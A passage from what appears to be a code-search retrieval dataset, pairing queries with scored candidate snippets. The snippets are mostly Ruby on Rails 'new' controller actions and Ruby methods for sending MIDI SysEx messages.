"25385e50d32c5597791c0fbccd29e7a7", "score": "0.60611033", "text": "def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end", "title": "" }, { "docid": "e79aa387ec0dbce066356dc745da7645", "score": "0.6060514", "text": "def new\n @projectresource = Projectresource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projectresource }\n end\n end", "title": "" }, { "docid": "8ed48268cd51a4e81047e9b0f48ad872", "score": "0.606048", "text": "def new\n @typo = Typo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @typo }\n end\n end", "title": "" }, { "docid": "91b7328d26a640c79dec3427099aa7cf", "score": "0.60598046", "text": "def new\n @press = Press.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @press }\n end\n end", "title": "" }, { "docid": "8e73f3fc909dd9d5746fac66a0027fc5", "score": "0.60584617", "text": "def new_resource\n base_collection.new\n end", "title": "" }, { "docid": "e284720809fd9693be4160c34e056810", "score": "0.6054614", "text": "def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end", "title": "" }, { "docid": "0e31944992c4ce9a30159e1b02b29ddc", "score": "0.6051867", "text": "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "title": "" }, { "docid": "0e31944992c4ce9a30159e1b02b29ddc", "score": "0.6051867", "text": "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "title": "" }, { "docid": "f295958ef3297cfbaae59c7e6da5e70a", "score": "0.6051285", "text": "def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end", "title": "" }, { "docid": "91020c12f63ed0ef5309c9b7db443a9e", "score": "0.6041623", "text": "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recipe }\n end\n end", "title": "" }, { "docid": "3be1eff201fa8fb29201f65306243583", "score": "0.60411346", "text": "def new\n @page_title = \"Task List New\"\n @task_list = TaskList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_list }\n end\n end", "title": "" }, { "docid": "85848544ada1259fabad5a473fc20e3e", "score": "0.60353565", "text": "def new\n @contrato = Contrato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contrato }\n end\n end", "title": "" }, { "docid": "87730b58e4d0ebc4ed7fdb1aa878d41a", "score": "0.60352594", "text": "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "title": "" }, { "docid": "87730b58e4d0ebc4ed7fdb1aa878d41a", "score": "0.60352594", "text": "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "title": "" }, { "docid": "87730b58e4d0ebc4ed7fdb1aa878d41a", "score": "0.60352594", "text": "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "title": "" } ]
ea7d8806cf1990ead3c8821e04f39a83
GET /messages/new GET /messages/new.xml
[ { "docid": "60eb997ca1ce85cd6b4b8a182004ad6b", "score": "0.0", "text": "def new\n @message = Message.new\n if params[:id]\n @user = User.find params[:id]\n if not @user\n flash[:error] = 'Cannot find that user'\n return redirect_to :back\n end\n end\n @message.recipient = @user\n end", "title": "" } ]
[ { "docid": "b19e336db15694ce0e9f6fd7a27251b3", "score": "0.7768176", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @message }\n end\n end", "title": "" }, { "docid": "b19e336db15694ce0e9f6fd7a27251b3", "score": "0.7768176", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @message }\n end\n end", "title": "" }, { "docid": "b19e336db15694ce0e9f6fd7a27251b3", "score": "0.7768176", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @message }\n end\n end", "title": "" }, { "docid": "b19e336db15694ce0e9f6fd7a27251b3", "score": "0.7768176", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @message }\n end\n end", "title": "" }, { "docid": "9733860e40077c5bfc6a46808e7f1474", "score": "0.7635161", "text": "def new\n @message = Admin::Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @message }\n end\n end", "title": "" }, { "docid": "c8dd2643eb361fbfaf1514f61ad3bd8e", "score": "0.7410128", "text": "def new\n\t\t@message = Message.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml\t{ render :xml => @message }\n\t\tend\n\tend", "title": "" }, { "docid": "a7a605be9552991b3a18fc5bc66fe7e0", "score": "0.73783827", "text": "def new\n @frommessage = Frommessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @frommessage }\n end\n end", "title": "" }, { "docid": "d62c630f46af1d1d47767a20c1f95170", "score": "0.7364952", "text": "def new\n @message_template = MessageTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @message_template }\n end\n end", "title": "" }, { "docid": "be5eae14d8bdcd39c611789e15b33f95", "score": "0.72920585", "text": "def new\n @send_message = SendMessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @send_message }\n end\n end", "title": "" }, { "docid": "6da845473294a5aae9ca38087f844029", "score": "0.726596", "text": "def get_new_messages\n get_messages_link_and_content\n end", "title": "" }, { "docid": "dc07b3f4bda2b49635e071465ca166ca", "score": "0.70981413", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @message }\n end\n end", "title": "" }, { "docid": "67d9910d593506f65db4e41c7e2b69b5", "score": "0.70915014", "text": "def new\n @message = Message.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "67d9910d593506f65db4e41c7e2b69b5", "score": "0.70915014", "text": "def new\n @message = Message.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "3b5c9a51f147971dfd0ba1d052d85010", "score": "0.7082284", "text": "def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "0d4d0fb57d7782f45f5ab87a5c7e127f", "score": "0.7069701", "text": "def new\n @in_message = InMessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @in_message }\n end\n end", "title": "" }, { "docid": "ce37d2f80c51d2f0312f10f181d50e97", "score": "0.70345956", "text": "def new\n @chat = Chat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chat}\n end\n end", "title": "" }, { "docid": "a83173640f77272bfb6f58a0a65c7e67", "score": "0.70265675", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "title": "" }, { "docid": "e1cd459ba350d66854cd2842a44694cb", "score": "0.7014397", "text": "def new\n # we don't want to use /messages/new, always use root path /\n flash.keep and redirect_to root_path and return unless request.fullpath == root_path\n\n @message = Message.new\n @show_editable_fields = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "7ab5f6089e45f64d4de0c0f8d4885258", "score": "0.7010347", "text": "def new\n @message = Message.new\n \n respond_to do |format|\n format.html # new.html.erb \n end\n end", "title": "" }, { "docid": "6f54c423a69ecb09cfd9216641935e7e", "score": "0.69963837", "text": "def new\n puts \"---new message ---\"\n if params[:recv]\n @recv = params[:recv]\n @user_recv = User.find_by_id(@recv)\n else\n @recv = nil\n end\n puts @recv\n @message = current_user.messages.new\n @conversation = @message.conversations.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @message }\n end\n end", "title": "" }, { "docid": "d1249b75166746ab41caae32406eec1b", "score": "0.69761664", "text": "def new\n @conversation = Conversation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @conversation }\n end\n end", "title": "" }, { "docid": "9abadfa1944bc4d13fa8eb9fce34b76f", "score": "0.6968518", "text": "def new\n @mensaje = Mensaje.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mensaje }\n end\n end", "title": "" }, { "docid": "8390bcb280f48a1e728735cc95d9c44e", "score": "0.69609505", "text": "def new\n @mail = Mail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mail }\n end\n end", "title": "" }, { "docid": "b43d1152becde26d0ae5a63697498838", "score": "0.6908339", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notifier }\n end\n end", "title": "" }, { "docid": "284c79378f3aff9781037efe3a9d2655", "score": "0.69002616", "text": "def new\n @mensagem = Mensagem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mensagem }\n end\n end", "title": "" }, { "docid": "284c79378f3aff9781037efe3a9d2655", "score": "0.69002616", "text": "def new\n @mensagem = Mensagem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mensagem }\n end\n end", "title": "" }, { "docid": "8660adb9daa66006fbb4ed9edb6e976c", "score": "0.6874745", "text": "def new\n @message = current_user.messages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "24f376b0907b12edfd7e16f1d2743971", "score": "0.6861617", "text": "def new\n @http_receive = HttpReceive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @http_receive }\n end\n end", "title": "" }, { "docid": "6971808b747498c03bc2ff24bfb2fee0", "score": "0.6843204", "text": "def new\n @mailfetch = Mailfetch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mailfetch }\n end\n end", "title": "" }, { "docid": "01fc2ff2fc98ea8ee6293706d67df63c", "score": "0.6790282", "text": "def new\n @email = Email.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email }\n end\n end", "title": "" }, { "docid": "c6d3e241bc0a09b0075b4c731b24e930", "score": "0.67746615", "text": "def new\n @message = Message.new\n @users = User.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "dd34e9aec0bfa354470552ce5335f55b", "score": "0.67721623", "text": "def new\n @wall_message = WallMessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wall_message }\n end\n end", "title": "" }, { "docid": "e5a493b338b3462f93dc06cf941f5807", "score": "0.67652076", "text": "def new\n @sm = Sm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sm }\n end\n end", "title": "" }, { "docid": "fb7b91f76abdda94bb99e2c54eaa98b5", "score": "0.6742132", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "title": "" }, { "docid": "fb7b91f76abdda94bb99e2c54eaa98b5", "score": "0.6742132", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "title": "" }, { "docid": "fb7b91f76abdda94bb99e2c54eaa98b5", "score": "0.6742132", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "title": "" }, { "docid": "fb7b91f76abdda94bb99e2c54eaa98b5", "score": "0.6742132", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "title": "" }, { "docid": "fb7b91f76abdda94bb99e2c54eaa98b5", "score": "0.6742132", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "title": "" }, { "docid": "e468d9bfb5568c4d54a620151c0f415a", "score": "0.6738598", "text": "def new\n @chat_room = ChatRoom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chat_room }\n end\n end", "title": "" }, { "docid": "48e813e041f037148afb8262dc30dd87", "score": "0.6735051", "text": "def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subject }\n end\n end", "title": "" }, { "docid": "48e813e041f037148afb8262dc30dd87", "score": "0.6735051", "text": "def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subject }\n end\n end", "title": "" }, { "docid": "48e813e041f037148afb8262dc30dd87", "score": "0.6735051", "text": "def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subject }\n end\n end", "title": "" }, { "docid": "fe71031c9d8ebe24d34e0b82ae9dbd02", "score": "0.6733905", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end", "title": "" }, { "docid": "7b96f8a36a1eb85e05101d2034f978b1", "score": "0.6733804", "text": "def new\n @player_message = PlayerMessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @player_message }\n end\n end", "title": "" }, { "docid": "f1ee2ba9465b4ad70592119b4f41cd0e", "score": "0.6728923", "text": "def new\n logger.debug(\"Entering Message new\" )\n @message = Message.new\n @message.sent_user = current_user.id\n @message.recv_user = params[:receiver]\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @message }\n end\n end", "title": "" }, { "docid": "324ddd1cd0b5291ab55230979dfd1e05", "score": "0.67233753", "text": "def new\n @sms = Sms.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sms }\n end\n end", "title": "" }, { "docid": "073b4834a4a7831a060beab89663a3f3", "score": "0.6718645", "text": "def new\n @topic = Topic.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "title": "" }, { "docid": "03752b8cb6efb40320ecdc3dc598d998", "score": "0.6717033", "text": "def new\n @listener = Listener.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @listener }\n end\n end", "title": "" }, { "docid": "90514b2e18abf41d96a867bca041ab33", "score": "0.671438", "text": "def new\n @incoming_text = IncomingText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incoming_text }\n end\n end", "title": "" }, { "docid": "6608f1f008b555a832fcbbf1694c1244", "score": "0.67070997", "text": "def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end", "title": "" }, { "docid": "dc070574ed849ab503588580ec570d72", "score": "0.6700862", "text": "def new\n \n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "title": "" }, { "docid": "9f5a484dda0fcb8112007f9c19a7bbc2", "score": "0.6696203", "text": "def new\n @click_to_talk = ClickToTalk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @click_to_talk }\n end\n end", "title": "" }, { "docid": "3c83440df87ad3b31a29a8e35f7ad9dc", "score": "0.66898", "text": "def new\n @message = Message.new\n @message.signature = 1\n @message.send_date = Date.today\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "a3ff66814814b401c52a0abde46cc81a", "score": "0.66873854", "text": "def new\n\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "title": "" }, { "docid": "887cd12bedcdf644f5f873df32368cc3", "score": "0.66688937", "text": "def new\n @page = Page.new(:status => params[:from])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "title": "" }, { "docid": "c1c3880c35f36a31e750d3de9dc1517e", "score": "0.66647017", "text": "def new\n @mail_server = MailServer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mail_server }\n end\n end", "title": "" }, { "docid": "afa429c920e975a4eb1ec6f76c54ee7c", "score": "0.6658453", "text": "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end", "title": "" }, { "docid": "ad608889ec4ba0b3173ca382079546c5", "score": "0.66492367", "text": "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "ad608889ec4ba0b3173ca382079546c5", "score": "0.66492367", "text": "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "ad608889ec4ba0b3173ca382079546c5", "score": "0.66492367", "text": "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "ecceba722cc16f769b2e0a5523842f38", "score": "0.66396743", "text": "def new\n @text_message = TextMessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_message }\n end\n end", "title": "" }, { "docid": "4ecfacd4850ebc9b73b4ba4bbd4d7ce8", "score": "0.66393673", "text": "def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "639a0307b984e97a6edfbe5539706437", "score": "0.6626277", "text": "def new\n respond_to do |format|\n format.html\n format.xml\n end\n end", "title": "" }, { "docid": "f63cb232c309ac177e7e9ae24ad918b7", "score": "0.6616184", "text": "def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end", "title": "" }, { "docid": "71ae54e4c3b5f5a1527ca0b1bd1f2ee0", "score": "0.6604066", "text": "def new\n @notification = Notification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notification }\n end\n end", "title": "" }, { "docid": "e0a66b081630be8d700533cad4fc27d5", "score": "0.6603135", "text": "def new\n @poem = Poem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poem }\n end\n end", "title": "" }, { "docid": "e0a66b081630be8d700533cad4fc27d5", "score": "0.6603135", "text": "def new\n @poem = Poem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poem }\n end\n end", "title": "" }, { "docid": "87730b58e4d0ebc4ed7fdb1aa878d41a", "score": "0.66029584", "text": "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "title": "" }, { "docid": "87730b58e4d0ebc4ed7fdb1aa878d41a", "score": "0.66029584", "text": "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "title": "" }, { "docid": "87730b58e4d0ebc4ed7fdb1aa878d41a", "score": "0.66029584", "text": "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "title": "" }, { "docid": "d10c1cf0c82f714ff00fe8485a1f0286", "score": "0.6600758", "text": "def new\n @old_twit = OldTwit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_twit }\n end\n end", "title": "" }, { "docid": "7a83b98f1a2c5eadac9235c677f10924", "score": "0.65877515", "text": "def new\n logger.debug \"Here is recipient_id #{params[:id]}\" \n logger.debug \"Here is current_user id is #{current_user}\"\n @message = Message.new(:sender_id => current_user.id, :recipient_id => params[:id])\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @message }\n end\n end", "title": "" }, { "docid": "281d72d1a2f6b6dd9c13a5e3aac6e185", "score": "0.65867615", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @participant }\n end\n end", "title": "" }, { "docid": "7b4f9c5a1721e295541a30ae1f7add63", "score": "0.6586446", "text": "def new\n @messagetold = Messagetold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @messagetold }\n end\n end", "title": "" }, { "docid": "d6d1be080ef2d0daa81ef25d7b3ad746", "score": "0.6585398", "text": "def new\n @message = Message.new\n\n render json: @message\n end", "title": "" }, { "docid": "9950a0e76dc2e8ac967ac8a4aa8f7e20", "score": "0.6579602", "text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @page }\n end\n end", "title": "" }, { "docid": "8b4e44185b3f39b550fa325139fa6e7d", "score": "0.6563849", "text": "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end", "title": "" }, { "docid": "37b6471498bbab50f7afa18c18c248b1", "score": "0.6551711", "text": "def new\n head :status => 405\n return\n \n @participant = Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.xml { render :xml => @participant }\n end\n end", "title": "" }, { "docid": "22057f5d544a7e276f5fefe27e934d49", "score": "0.65463185", "text": "def new\n @message = Message.new\n respond_with @message\n end", "title": "" }, { "docid": "8b2ce34d7d3cf2719a46eab2aa1c1a22", "score": "0.65462244", "text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end", "title": "" }, { "docid": "8b2ce34d7d3cf2719a46eab2aa1c1a22", "score": "0.65462244", "text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end", "title": "" }, { "docid": "8b2ce34d7d3cf2719a46eab2aa1c1a22", "score": "0.65462244", "text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end", "title": "" }, { "docid": "4e0f4babda2095fc373cb77943988a7d", "score": "0.65460205", "text": "def new\n @messaging_inbox = Messaging::Inbox.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @messaging_inbox }\n end\n end", "title": "" }, { "docid": "4cc5f5ae07fc9e8c21d31bdde6ae9d36", "score": "0.6539815", "text": "def new\n @mailing = Mailing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mailing }\n end\n end", "title": "" }, { "docid": "365ccc3cdeccbf20cf512e87f4437597", "score": "0.65376794", "text": "def new\n @title = t :new_model_title\n @model = Model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @model }\n end\n end", "title": "" } ]
ffb7063eef54c93c05877fa1339f664d
Sends a SysEx msg. :arg sysex_cmd: A sysex command byteggg :arg data: A list of data values
[ { "docid": "9441664c5d582eb6b2f0339c30525414", "score": "0.87350965", "text": "def send_sysex(sysex_cmd, data=[])\n write_command Rufirmata::START_SYSEX\n write_command sysex_cmd\n data.each do |b|\n begin\n byte = b.chr\n rescue\n byte = (b >> 7).chr\n end#TODO send multiple bytes\n write(byte)\n end\n write_command Rufirmata::END_SYSEX\n end", "title": "" } ]
[ { "docid": "c022694169f61a3c968f31b1b5d82ec5", "score": "0.7430032", "text": "def handle_sysex(msg)\n\t@raw_data = msg.dup()\n\tsysex(msg)\n end", "title": "" }, { "docid": "1cf26cc8f31117196a1c96dd4d208085", "score": "0.7400858", "text": "def sysex_message(data, options = {})\n options[:sysex_node] ||= options[:node]\n props = @state.message_properties(options, :sysex_node)\n SystemExclusive::Message.new(data, :node => props[:sysex_node])\n end", "title": "" }, { "docid": "e429b362c64df6693a05feaa1e3f6383", "score": "0.73557866", "text": "def sysex_command(address, data, options = {})\n options[:sysex_node] ||= options[:node]\n props = @state.message_properties(options, :sysex_node)\n SystemExclusive::Command.new(address, data, :node => props[:sysex_node])\n end", "title": "" }, { "docid": "1b218da6387f44744a6d6a78dbb0dc65", "score": "0.7334946", "text": "def sysex_command(address, data, options = {})\n properties = sysex_properties(options)\n MIDIMessage::SystemExclusive::Command.new(address, data, :node => properties[:sysex_node])\n end", "title": "" }, { "docid": "1bb5ee7fb77f903875ab5c87aea39801", "score": "0.7334736", "text": "def sysex_message(data, options = {})\n properties = sysex_properties(options)\n MIDIMessage::SystemExclusive::Message.new(data, :node => properties[:sysex_node])\n end", "title": "" }, { "docid": "e7aec07e55c2f6ed3d9952be80d6ab40", "score": "0.7106353", "text": "def puts_sysex(bytes, size)\n request = Map::MIDISysexSendRequest.new\n request[:destination] = @resource\n request[:data] = bytes\n request[:bytes_to_send] = size\n request[:complete] = 0\n request[:completion_proc] = SysexCompletionCallback\n request[:completion_ref_con] = request\n Map.MIDISendSysex(request)\n end", "title": "" }, { "docid": "0c1785a887abfe312152519918b48988", "score": "0.6988792", "text": "def puts_sysex(bytes, size)\n request = API::MIDISysexSendRequest.new\n request[:destination] = @resource\n request[:data] = bytes\n request[:bytes_to_send] = size\n request[:complete] = 0\n request[:completion_proc] = SysexCompletionCallback\n request[:completion_ref_con] = request\n API.MIDISendSysex(request)\n true\n end", "title": "" }, { "docid": "687ce79d9b2b63917408a51a2381f74e", "score": "0.6258484", "text": "def sysex(*data)\n self << [0xf0] + data.flatten + [0xf7]\n end", "title": "" }, { "docid": "a77250697a60cf7114e196fd6cfc2ed7", "score": "0.62324643", "text": "def sysex_request(address, size, options = {})\n properties = sysex_properties(options)\n MIDIMessage::SystemExclusive::Request.new(address, size, :node => properties[:sysex_node])\n end", "title": "" }, { "docid": "d4a6167bdc84f84b2c21ca3965ccb785", "score": "0.59561735", "text": "def sysex_request(address, size, options = {})\n options[:sysex_node] ||= options[:node]\n props = @state.message_properties(options, :sysex_node)\n SystemExclusive::Request.new(address, size, :node => props[:sysex_node]) \n end", "title": "" }, { "docid": "1727c84d33de70e0ae3327762b209454", "score": "0.5954389", "text": "def sysprint(msg)\n sysout(\"=> #{msg}\", TC_GREEN, BC_BLUE)\nend", "title": "" }, { "docid": "404b516b37ec5af759f8e72081ef4277", "score": "0.5693766", "text": "def puts_bytes *data\n if data.first.eql? 0xF0\n msg = SysexMessage.new\n msg.set_message data.to_java(:byte), data.length\n else\n msg = ShortMessage.new\n msg.set_message *data\n end\n @device.get_receiver.send msg, 0\n end", "title": "" }, { "docid": "04a670315f84c76d4aa260739ebca2f3", "score": "0.5577332", "text": "def sysex?(data)\n data.first.eql?(0xF0) && data.last.eql?(0xF7)\n end", "title": "" }, { "docid": "adbb596e29d584b5ea0c563059e04bd4", "score": "0.5563321", "text": "def sysex_node(*args)\n args = args.dup\n options = args.last.kind_of?(Hash) ? args.last : {}\n @state.sysex_node = 